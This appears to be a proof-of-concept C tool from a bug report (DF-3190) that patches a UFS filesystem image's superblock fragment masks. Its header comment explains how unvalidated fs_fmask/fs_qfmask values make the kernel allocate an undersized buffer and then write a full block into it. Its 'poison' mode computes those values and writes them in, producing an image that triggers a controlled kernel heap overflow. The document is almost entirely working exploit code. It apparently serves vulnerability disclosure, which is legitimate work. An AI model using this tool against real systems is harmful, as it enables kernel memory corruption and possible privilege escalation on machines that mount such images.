DF-3190 / sbxtool.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * sbxtool.c — DF-3190 superblock fragment-mask patcher (root, guest). * * ffs_balloc()/ffs_write() derive kernel buffer sizes from the on-disk * superblock's fragment-mask fields via * * fragroundup(fs, size) == ((size) + fs->fs_qfmask) & fs->fs_fmask * * (sys/vfs/ufs/fs.h). Neither field is validated at mount time * (ffs_mountfs checks only fs_magic and the fs_bsize range, * ffs_vfsops.c:641-646; ffs_oldfscompat only touches them for * pre-4.4-inode-format filesystems). With fs_fmask / fs_qfmask chosen * so the expression ROUNDS DOWN, ffs_balloc returns a buffer smaller * than the number of bytes ffs_write is about to uiomove() into it. * * "poison" computes, from the image's own geometry: * fs_fmask = fs_bsize/2 - 1 (for bsize=16384: 0x1fff) * fs_qfmask = fs_fsize (for fsize=2048: 0x800) * giving fragroundup(fs_bsize) == fs_fsize (one fragment) while the * caller writes fs_bsize bytes — an undersized VMIO buffer and a * fs_bsize-byte controlled write into it. * * usage: * sbxtool <image> info * sbxtool <image> poison * sbxtool <image> fmask <hex32> * sbxtool <image> qfmask <hex64> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #include <stddef.h> #include <sys/types.h> typedef int32_t ufs_time_t; typedef int32_t ufs_daddr_t; #define _KERNEL_STRUCTURES #define MAXFRAG 8 #include "fs.h" static const struct { off_t off; uint32_t magic; } sbs[] = { { 8192, FS_MAGIC }, /* UFS1 sblkno=16, fsize=512 */ { 65536, FS_MAGIC }, { 8192, 0x19540119 }, /* UFS2 magic */ { 65536, 0x19540119 }, }; static void loadsb(int fd, struct fs *fsb, off_t *sbpos) { unsigned i; for (i = 0; i < sizeof(sbs)/sizeof(sbs[0]); i++) { if (pread(fd, fsb, sizeof(*fsb), sbs[i].off) != sizeof(*fsb)) continue; if (fsb->fs_magic == sbs[i].magic) { *sbpos = sbs[i].off; return; } } errx(1, "no superblock found"); } static void printsb(const char *tag, const struct fs *fsb) { printf("[%s] bsize=%ld fsize=%ld frag=%d bshift=%d fshift=%d " "fragshift=%d\n", tag, (long)fsb->fs_bsize, (long)fsb->fs_fsize, fsb->fs_frag, fsb->fs_bshift, fsb->fs_fshift, fsb->fs_fragshift); printf("[%s] bmask=%08x fmask=%08x qbmask=%016llx qfmask=%016llx " "sbsize=%d nindir=%d\n", tag, fsb->fs_bmask, fsb->fs_fmask, (unsigned long long)fsb->fs_qbmask, (unsigned long long)fsb->fs_qfmask, fsb->fs_sbsize, fsb->fs_nindir); } int main(int argc, char **argv) { struct fs fsb; off_t sbpos; int fd; if (argc < 3) { fprintf(stderr, "usage: sbxtool img " "{info|poison|fmask hex32|qfmask hex64}\n"); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open %s", argv[1]); loadsb(fd, &fsb, &sbpos); printsb("sb-before", &fsb); if (!strcmp(argv[2], "info")) { /* nothing */ } else if (!strcmp(argv[2], "poison")) { uint32_t fmask = (uint32_t)fsb.fs_bsize / 2 - 1; uint64_t qfmask = (uint64_t)fsb.fs_fsize; printf("[*] poisoning: fmask=%08x qfmask=%llx " "(fragroundup(bsize=%ld) -> %ld; caller writes %ld)\n", fmask, (unsigned long long)qfmask, (long)fsb.fs_bsize, (long)((fsb.fs_bsize + qfmask) & fmask), (long)fsb.fs_bsize); if (pwrite(fd, &fmask, 4, sbpos + offsetof(struct fs, fs_fmask)) != 4) err(1, "pwrite fmask"); if (pwrite(fd, &qfmask, 8, sbpos + offsetof(struct fs, fs_qfmask)) != 8) err(1, "pwrite qfmask"); } else if (argc == 4 && !strcmp(argv[2], "fmask")) { uint32_t v = (uint32_t)strtoul(argv[3], NULL, 0); if (pwrite(fd, &v, 4, sbpos + offsetof(struct fs, fs_fmask)) != 4) err(1, "pwrite fmask"); } else if (argc == 4 && !strcmp(argv[2], "qfmask")) { uint64_t v = (uint64_t)strtoull(argv[3], NULL, 0); if (pwrite(fd, &v, 8, sbpos + offsetof(struct fs, fs_qfmask)) != 8) err(1, "pwrite qfmask"); } else { fprintf(stderr, "bad args\n"); return (2); } lseek(fd, 0, SEEK_SET); loadsb(fd, &fsb, &sbpos); printsb("sb-after ", &fsb); return (0); } |